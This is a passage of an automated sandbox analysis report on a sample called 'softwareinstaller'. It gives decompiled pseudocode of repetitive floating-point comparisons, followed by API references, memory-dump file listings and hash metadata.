				signed int _t328;
				signed int _t330;
				signed int _t332;
				signed int _t334;
				signed int _t336;
				signed int _t338;
				signed int _t340;
				signed int _t342;
				signed int _t344;
				signed int _t346;
				signed int _t348;
				signed int _t350;
				void* _t355;
				signed int _t396;
				intOrPtr* _t398;

				_t398 = (_t396 & 0xfffffff0) - 0x20;
				E00D35790();
				_t272 = FreeConsole(); // executed
				_v8 =  *0xd5ac10;
				_v8 =  *0xd5ac14;
				_v8 =  *0xd5ac18;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				_t274 =  !=  ? 1 : _t272 & 0xffffff00 | _t399;
				if(_t274 != 0) {
					_v8 =  *0xd5ac1c;
					_v8 =  *0xd5ac20;
				}
				_v8 =  *0xd5ac24;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				_t276 =  !=  ? 1 : _t274 & 0xffffff00 | _t400;
				if(_t276 != 0) {
					_v8 =  *0xd5ac28;
					_v8 =  *0xd5ac2c;
				}
				_v8 =  *0xd5ac30;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				_t278 =  !=  ? 1 : _t276 & 0xffffff00 | _t401;
				if(_t278 != 0) {
					_v8 =  *0xd5ac34;
					_v8 =  *0xd5ac38;
				}
				_v8 =  *0xd5ac3c;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				_t280 =  !=  ? 1 : _t278 & 0xffffff00 | _t402;
				if(_t280 != 0) {
					_v8 =  *0xd5ac40;
					_v8 =  *0xd5ac44;
				}
				_v8 =  *0xd5ac48;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v8;
				_t282 =  !=  ? 1 : _t280 & 0xffffff00 | _t403;
				if(_t282 != 0) {
					_v8 =  *0xd5ac4c;
					_v8 =  *0xd5ac50;
				}
				_v12 =  *0xd5ac54;
				_v12 =  *0xd5ac58;
				_v12 =  *0xd5ac5c;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				_t284 =  !=  ? 1 : _t282 & 0xffffff00 | _t404;
				if(_t284 != 0) {
					_v12 =  *0xd5ac60;
					_v12 =  *0xd5ac64;
				}
				_v12 =  *0xd5ac68;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				_t286 =  !=  ? 1 : _t284 & 0xffffff00 | _t405;
				if(_t286 != 0) {
					_v12 =  *0xd5ac6c;
					_v12 =  *0xd5ac70;
				}
				_v12 =  *0xd5ac74;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				_t288 =  !=  ? 1 : _t286 & 0xffffff00 | _t406;
				if(_t288 != 0) {
					_v12 =  *0xd5ac78;
					_v12 =  *0xd5ac7c;
				}
				_v12 =  *0xd5ac80;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				_t290 =  !=  ? 1 : _t288 & 0xffffff00 | _t407;
				if(_t290 != 0) {
					_v12 =  *0xd5ac84;
					_v12 =  *0xd5ac88;
				}
				_v12 =  *0xd5ac8c;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v12;
				_t292 =  !=  ? 1 : _t290 & 0xffffff00 | _t408;
				if(_t292 != 0) {
					_v12 =  *0xd5ac90;
					_v12 =  *0xd5ac94;
				}
				_v16 =  *0xd5ac98;
				_v16 =  *0xd5ac9c;
				_v16 =  *0xd5aca0;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				_t294 =  !=  ? 1 : _t292 & 0xffffff00 | _t409;
				if(_t294 != 0) {
					_v16 =  *0xd5aca4;
					_v16 =  *0xd5aca8;
				}
				_v16 =  *0xd5acac;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				_t296 =  !=  ? 1 : _t294 & 0xffffff00 | _t410;
				if(_t296 != 0) {
					_v16 =  *0xd5acb0;
					_v16 =  *0xd5acb4;
				}
				_v16 =  *0xd5acb8;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				_t298 =  !=  ? 1 : _t296 & 0xffffff00 | _t411;
				if(_t298 != 0) {
					_v16 =  *0xd5acbc;
					_v16 =  *0xd5acc0;
				}
				_v16 =  *0xd5acc4;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				_t300 =  !=  ? 1 : _t298 & 0xffffff00 | _t412;
				if(_t300 != 0) {
					_v16 =  *0xd5acc8;
					_v16 =  *0xd5accc;
				}
				_v16 =  *0xd5acd0;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v16;
				_t302 =  !=  ? 1 : _t300 & 0xffffff00 | _t413;
				if(_t302 != 0) {
					_v16 =  *0xd5acd4;
					_v16 =  *0xd5acd8;
				}
				_v20 =  *0xd5acdc;
				_v20 =  *0xd5ace0;
				_v20 =  *0xd5ace4;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				_t304 =  !=  ? 1 : _t302 & 0xffffff00 | _t414;
				if(_t304 != 0) {
					_v20 =  *0xd5ace8;
					_v20 =  *0xd5acec;
				}
				_v20 =  *0xd5acf0;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				_t306 =  !=  ? 1 : _t304 & 0xffffff00 | _t415;
				if(_t306 != 0) {
					_v20 =  *0xd5acf4;
					_v20 =  *0xd5acf8;
				}
				_v20 =  *0xd5acfc;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				_t308 =  !=  ? 1 : _t306 & 0xffffff00 | _t416;
				if(_t308 != 0) {
					_v20 =  *0xd5ad00;
					_v20 =  *0xd5ad04;
				}
				_v20 =  *0xd5ad08;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				_t310 =  !=  ? 1 : _t308 & 0xffffff00 | _t417;
				if(_t310 != 0) {
					_v20 =  *0xd5ad0c;
					_v20 =  *0xd5ad10;
				}
				_v20 =  *0xd5ad14;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v20;
				_t312 =  !=  ? 1 : _t310 & 0xffffff00 | _t418;
				if(_t312 != 0) {
					_v20 =  *0xd5ad18;
					_v20 =  *0xd5ad1c;
				}
				_v24 =  *0xd5ad20;
				_v24 =  *0xd5ad24;
				_v24 =  *0xd5ad28;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				_t314 =  !=  ? 1 : _t312 & 0xffffff00 | _t419;
				if(_t314 != 0) {
					_v24 =  *0xd5ad2c;
					_v24 =  *0xd5ad30;
				}
				_v24 =  *0xd5ad34;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				_t316 =  !=  ? 1 : _t314 & 0xffffff00 | _t420;
				if(_t316 != 0) {
					_v24 =  *0xd5ad38;
					_v24 =  *0xd5ad3c;
				}
				_v24 =  *0xd5ad40;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				_t318 =  !=  ? 1 : _t316 & 0xffffff00 | _t421;
				if(_t318 != 0) {
					_v24 =  *0xd5ad44;
					_v24 =  *0xd5ad48;
				}
				_v24 =  *0xd5ad4c;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				_t320 =  !=  ? 1 : _t318 & 0xffffff00 | _t422;
				if(_t320 != 0) {
					_v24 =  *0xd5ad50;
					_v24 =  *0xd5ad54;
				}
				_v24 =  *0xd5ad58;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v24;
				_t322 =  !=  ? 1 : _t320 & 0xffffff00 | _t423;
				if(_t322 != 0) {
					_v24 =  *0xd5ad5c;
					_v24 =  *0xd5ad60;
				}
				_v28 =  *0xd5ad64;
				_v28 =  *0xd5ad68;
				_v28 =  *0xd5ad6c;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				_t324 =  !=  ? 1 : _t322 & 0xffffff00 | _t424;
				if(_t324 != 0) {
					_v28 =  *0xd5ad70;
					_v28 =  *0xd5ad74;
				}
				_v28 =  *0xd5ad78;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				_t326 =  !=  ? 1 : _t324 & 0xffffff00 | _t425;
				if(_t326 != 0) {
					_v28 =  *0xd5ad7c;
					_v28 =  *0xd5ad80;
				}
				_v28 =  *0xd5ad84;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				_t328 =  !=  ? 1 : _t326 & 0xffffff00 | _t426;
				if(_t328 != 0) {
					_v28 =  *0xd5ad88;
					_v28 =  *0xd5ad8c;
				}
				_v28 =  *0xd5ad90;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				_t330 =  !=  ? 1 : _t328 & 0xffffff00 | _t427;
				if(_t330 != 0) {
					_v28 =  *0xd5ad94;
					_v28 =  *0xd5ad98;
				}
				_v28 =  *0xd5ad9c;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v28;
				_t332 =  !=  ? 1 : _t330 & 0xffffff00 | _t428;
				if(_t332 != 0) {
					_v28 =  *0xd5ada0;
					_v28 =  *0xd5ada4;
				}
				_v32 =  *0xd5ada8;
				_v32 =  *0xd5adac;
				_v32 =  *0xd5adb0;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				_t334 =  !=  ? 1 : _t332 & 0xffffff00 | _t429;
				if(_t334 != 0) {
					_v32 =  *0xd5adb4;
					_v32 =  *0xd5adb8;
				}
				_v32 =  *0xd5adbc;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				_t336 =  !=  ? 1 : _t334 & 0xffffff00 | _t430;
				if(_t336 != 0) {
					_v32 =  *0xd5adc0;
					_v32 =  *0xd5adc4;
				}
				_v32 =  *0xd5adc8;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				_t338 =  !=  ? 1 : _t336 & 0xffffff00 | _t431;
				if(_t338 != 0) {
					_v32 =  *0xd5adcc;
					_v32 =  *0xd5add0;
				}
				_v32 =  *0xd5add4;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				_t340 =  !=  ? 1 : _t338 & 0xffffff00 | _t432;
				if(_t340 != 0) {
					_v32 =  *0xd5add8;
					_v32 =  *0xd5addc;
				}
				_v32 =  *0xd5ade0;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 = _v32;
				_t342 =  !=  ? 1 : _t340 & 0xffffff00 | _t433;
				if(_t342 != 0) {
					_v32 =  *0xd5ade4;
					_v32 =  *0xd5ade8;
				}
				 *_t398 =  *0xd5adec;
				 *_t398 =  *0xd5adf0;
				 *_t398 =  *0xd5adf4;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				_t344 =  !=  ? 1 : _t342 & 0xffffff00 | _t434;
				if(_t344 != 0) {
					 *_t398 =  *0xd5adf8;
					 *_t398 =  *0xd5adfc;
				}
				 *_t398 =  *0xd5ae00;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				_t346 =  !=  ? 1 : _t344 & 0xffffff00 | _t435;
				if(_t346 != 0) {
					 *_t398 =  *0xd5ae04;
					 *_t398 =  *0xd5ae08;
				}
				 *_t398 =  *0xd5ae0c;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				_t348 =  !=  ? 1 : _t346 & 0xffffff00 | _t436;
				if(_t348 != 0) {
					 *_t398 =  *0xd5ae10;
					 *_t398 =  *0xd5ae14;
				}
				 *_t398 =  *0xd5ae18;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				_t350 =  !=  ? 1 : _t348 & 0xffffff00 | _t437;
				if(_t350 != 0) {
					 *_t398 =  *0xd5ae1c;
					 *_t398 =  *0xd5ae20;
				}
				 *_t398 =  *0xd5ae24;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				asm("fldz");
				asm("fucomip st0, st1");
				st0 =  *_t398;
				_t352 =  !=  ? 1 : _t350 & 0xffffff00 | _t438;
				_t439 =  !=  ? 1 : _t350 & 0xffffff00 | _t438;
				if(( !=  ? 1 : _t350 & 0xffffff00 | _t438) != 0) {
					 *_t398 =  *0xd5ae28;
					 *_t398 =  *0xd5ae2c; // executed
				}
				E00D3414A(_t352, _t355, _t439); // executed
				return 0;
			}

0x00d34c2e
0x00d34c31
0x00d34c3b
0x00d34c43
0x00d34c4d
0x00d34c57
0x00d34c5f
0x00d34c61
0x00d34c63
0x00d34c71
0x00d34c73
0x00d34c75
0x00d34c77
0x00d34c7c
0x00d34c84
0x00d34c8e
0x00d34c8e
0x00d34c98
0x00d34ca0
0x00d34ca2
0x00d34ca4
0x00d34cb2
0x00d34cb4
0x00d34cb6
0x00d34cb8
0x00d34cbd
0x00d34cc5
0x00d34ccf
0x00d34ccf
0x00d34cd9
0x00d34ce1
0x00d34ce3
0x00d34ce5
0x00d34cf3
0x00d34cf5
0x00d34cf7
0x00d34cf9
0x00d34cfe
0x00d34d06
0x00d34d10
0x00d34d10
0x00d34d1a
0x00d34d22
0x00d34d24
0x00d34d26
0x00d34d34
0x00d34d36
0x00d34d38
0x00d34d3a
0x00d34d3f
0x00d34d47
0x00d34d51
0x00d34d51
0x00d34d5b
0x00d34d63
0x00d34d65
0x00d34d67
0x00d34d75
0x00d34d77
0x00d34d79
0x00d34d7b
0x00d34d80
0x00d34d88
0x00d34d92
0x00d34d92
0x00d34d9c
0x00d34da6
0x00d34db0
0x00d34db8
0x00d34dba
0x00d34dbc
0x00d34dca
0x00d34dcc
0x00d34dce
0x00d34dd0
0x00d34dd5
0x00d34ddd
0x00d34de7
0x00d34de7
0x00d34df1
0x00d34df9
0x00d34dfb
0x00d34dfd
0x00d34e0b
0x00d34e0d
0x00d34e0f
0x00d34e11
0x00d34e16
0x00d34e1e
0x00d34e28
0x00d34e28
0x00d34e32
0x00d34e3a
0x00d34e3c
0x00d34e3e
0x00d34e4c
0x00d34e4e
0x00d34e50
0x00d34e52
0x00d34e57
0x00d34e5f
0x00d34e69
0x00d34e69
0x00d34e73
0x00d34e7b
0x00d34e7d
0x00d34e7f
0x00d34e8d
0x00d34e8f
0x00d34e91
0x00d34e93
0x00d34e98
0x00d34ea0
0x00d34eaa
0x00d34eaa
0x00d34eb4
0x00d34ebc
0x00d34ebe
0x00d34ec0
0x00d34ece
0x00d34ed0
0x00d34ed2
0x00d34ed4
0x00d34ed9
0x00d34ee1
0x00d34eeb
0x00d34eeb
0x00d34ef5
0x00d34eff
0x00d34f09
0x00d34f11
0x00d34f13
0x00d34f15
0x00d34f23
0x00d34f25
0x00d34f27
0x00d34f29
0x00d34f2e
0x00d34f36
0x00d34f40
0x00d34f40
0x00d34f4a
0x00d34f52
0x00d34f54
0x00d34f56
0x00d34f64
0x00d34f66
0x00d34f68
0x00d34f6a
0x00d34f6f
0x00d34f77
0x00d34f81
0x00d34f81
0x00d34f8b
0x00d34f93
0x00d34f95
0x00d34f97
0x00d34fa5
0x00d34fa7
0x00d34fa9
0x00d34fab
0x00d34fb0
0x00d34fb8
0x00d34fc2
0x00d34fc2
0x00d34fcc
0x00d34fd4
0x00d34fd6
0x00d34fd8
0x00d34fe6
0x00d34fe8
0x00d34fea
0x00d34fec
0x00d34ff1
0x00d34ff9
0x00d35003
0x00d35003
0x00d3500d
0x00d35015
0x00d35017
0x00d35019
0x00d35027
0x00d35029
0x00d3502b
0x00d3502d
0x00d35032
0x00d3503a
0x00d35044
0x00d35044
0x00d3504e
0x00d35058
0x00d35062
0x00d3506a
0x00d3506c
0x00d3506e
0x00d3507c
0x00d3507e
0x00d35080
0x00d35082
0x00d35087
0x00d3508f
0x00d35099
0x00d35099
0x00d350a3
0x00d350ab
0x00d350ad
0x00d350af
0x00d350bd
0x00d350bf
0x00d350c1
0x00d350c3
0x00d350c8
0x00d350d0
0x00d350da
0x00d350da
0x00d350e4
0x00d350ec
0x00d350ee
0x00d350f0
0x00d350fe
0x00d35100
0x00d35102
0x00d35104
0x00d35109
0x00d35111
0x00d3511b
0x00d3511b
0x00d35125
0x00d3512d
0x00d3512f
0x00d35131
0x00d3513f
0x00d35141
0x00d35143
0x00d35145
0x00d3514a
0x00d35152
0x00d3515c
0x00d3515c
0x00d35166
0x00d3516e
0x00d35170
0x00d35172
0x00d35180
0x00d35182
0x00d35184
0x00d35186
0x00d3518b
0x00d35193
0x00d3519d
0x00d3519d
0x00d351a7
0x00d351b1
0x00d351bb
0x00d351c3
0x00d351c5
0x00d351c7
0x00d351d5
0x00d351d7
0x00d351d9
0x00d351db
0x00d351e0
0x00d351e8
0x00d351f2
0x00d351f2
0x00d351fc
0x00d35204
0x00d35206
0x00d35208
0x00d35216
0x00d35218
0x00d3521a
0x00d3521c
0x00d35221
0x00d35229
0x00d35233
0x00d35233
0x00d3523d
0x00d35245
0x00d35247
0x00d35249
0x00d35257
0x00d35259
0x00d3525b
0x00d3525d
0x00d35262
0x00d3526a
0x00d35274
0x00d35274
0x00d3527e
0x00d35286
0x00d35288
0x00d3528a
0x00d35298
0x00d3529a
0x00d3529c
0x00d3529e
0x00d352a3
0x00d352ab
0x00d352b5
0x00d352b5
0x00d352bf
0x00d352c7
0x00d352c9
0x00d352cb
0x00d352d9
0x00d352db
0x00d352dd
0x00d352df
0x00d352e4
0x00d352ec
0x00d352f6
0x00d352f6
0x00d35300
0x00d3530a
0x00d35314
0x00d3531c
0x00d3531e
0x00d35320
0x00d3532e
0x00d35330
0x00d35332
0x00d35334
0x00d35339
0x00d35341
0x00d3534b
0x00d3534b
0x00d35355
0x00d3535d
0x00d3535f
0x00d35361
0x00d3536f
0x00d35371
0x00d35373
0x00d35375
0x00d3537a
0x00d35382
0x00d3538c
0x00d3538c
0x00d35396
0x00d3539e
0x00d353a0
0x00d353a2
0x00d353b0
0x00d353b2
0x00d353b4
0x00d353b6
0x00d353bb
0x00d353c3
0x00d353cd
0x00d353cd
0x00d353d7
0x00d353df
0x00d353e1
0x00d353e3
0x00d353f1
0x00d353f3
0x00d353f5
0x00d353f7
0x00d353fc
0x00d35404
0x00d3540e
0x00d3540e
0x00d35418
0x00d35420
0x00d35422
0x00d35424
0x00d35432
0x00d35434
0x00d35436
0x00d35438
0x00d3543d
0x00d35445
0x00d3544f
0x00d3544f
0x00d35459
0x00d35463
0x00d3546d
0x00d35475
0x00d35477
0x00d35479
0x00d35487
0x00d35489
0x00d3548b
0x00d3548d
0x00d35492
0x00d3549a
0x00d354a4
0x00d354a4
0x00d354ae
0x00d354b6
0x00d354b8
0x00d354ba
0x00d354c8
0x00d354ca
0x00d354cc
0x00d354ce
0x00d354d3
0x00d354db
0x00d354e5
0x00d354e5
0x00d354ef
0x00d354f7
0x00d354f9
0x00d354fb
0x00d35509
0x00d3550b
0x00d3550d
0x00d3550f
0x00d35514
0x00d3551c
0x00d35526
0x00d35526
0x00d35530
0x00d35538
0x00d3553a
0x00d3553c
0x00d3554a
0x00d3554c
0x00d3554e
0x00d35550
0x00d35555
0x00d3555d
0x00d35567
0x00d35567
0x00d35571
0x00d35579
0x00d3557b
0x00d3557d
0x00d3558b
0x00d3558d
0x00d3558f
0x00d35591
0x00d35596
0x00d3559e
0x00d355a8
0x00d355a8
0x00d355b2
0x00d355bb
0x00d355c4
0x00d355ca
0x00d355cc
0x00d355ce
0x00d355db
0x00d355dd
0x00d355df
0x00d355e1
0x00d355e6
0x00d355ee
0x00d355f7
0x00d355f7
0x00d35600
0x00d35606
0x00d35608
0x00d3560a
0x00d35617
0x00d35619
0x00d3561b
0x00d3561d
0x00d35622
0x00d3562a
0x00d35633
0x00d35633
0x00d3563c
0x00d35642
0x00d35644
0x00d35646
0x00d35653
0x00d35655
0x00d35657
0x00d35659
0x00d3565e
0x00d35666
0x00d3566f
0x00d3566f
0x00d35678
0x00d3567e
0x00d35680
0x00d35682
0x00d3568f
0x00d35691
0x00d35693
0x00d35695
0x00d3569a
0x00d356a2
0x00d356ab
0x00d356ab
0x00d356b4
0x00d356ba
0x00d356bc
0x00d356be
0x00d356cb
0x00d356cd
0x00d356cf
0x00d356d1
0x00d356d4
0x00d356d6
0x00d356de
0x00d356e7
0x00d356e7
0x00d356ea
0x00d356f5

APIs

FreeConsole.KERNELBASE(?,?,?,?,?,?,?,00D31386), ref: 00D34C3B

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 6a1de237010fa0d5daa1ece5d38be82c6989e89bf97f88081b4f91180256bb58
Instruction ID: 5728a0f5ee4a70cced1fe24d05aad73824f46705f52bc1573f371c5a13fef6bd
Opcode Fuzzy Hash: 6a1de237010fa0d5daa1ece5d38be82c6989e89bf97f88081b4f91180256bb58
Instruction Fuzzy Hash: 0F52CDB1A09723EFC702BF05E9982567FB1EB80382FA54945D4D16229DE3328875CE97

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D314C0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00D314D0
LoadLibraryA.KERNEL32 ref: 00D314E6
GetProcAddress.KERNEL32 ref: 00D31505
GetProcAddress.KERNEL32 ref: 00D31517

Strings

__register_frame_info, xrefs: 00D314FA
libgcc_s_dw2-1.dll, xrefs: 00D314C9, 00D314DF
__deregister_frame_info, xrefs: 00D3150C

Memory Dump Source

Source File: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: fbaa2a527caa746f00e06e93f4ff3ab551ab64c1cda97e15663d7d9e0715f213
Instruction ID: 2edf6e23742c0a8d77812b2866d0e2382d25097f215596e936581a0ff8638dee
Opcode Fuzzy Hash: fbaa2a527caa746f00e06e93f4ff3ab551ab64c1cda97e15663d7d9e0715f213
Instruction Fuzzy Hash: B70156B18193218BCB10BF6CA90921ABFF4EB80353F42452DDC8987384E7708858CBB3

Uniqueness

Uniqueness Score: -1.00%

Function 00D3E9BB Relevance: .4, Instructions: 432COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5847a35484e2588ad18a49411b8816f31fce0c77a57bf8125e5888200362393c
Instruction ID: 27bd4fb81688871cc57062fcb3cce32748d324822cd31dceae977636d4995b98
Opcode Fuzzy Hash: 5847a35484e2588ad18a49411b8816f31fce0c77a57bf8125e5888200362393c
Instruction Fuzzy Hash: 9802C06544E3C29FDB534BB48CB5191BFB1AE5722471E48DBC0C08F0E3E25A695ADB23

Uniqueness

Uniqueness Score: -1.00%

Function 00D3716C Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.240722862.0000000000D37000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000000.00000002.240689186.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240693421.0000000000D31000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240801213.0000000000D5A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240904636.0000000000D5E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240911366.0000000000D61000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240917540.0000000000D63000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.240924677.0000000000D67000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d30000_softwareinstaller.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
Instruction ID: 196e2d55204c11cdb84bcc42ffd0266a631e7454548d708f351f5649037ab536
Opcode Fuzzy Hash: 6d0bfc2ef7b64e396843138ab717a1f3c293dc8ee292486fa54476fd2f3b6864
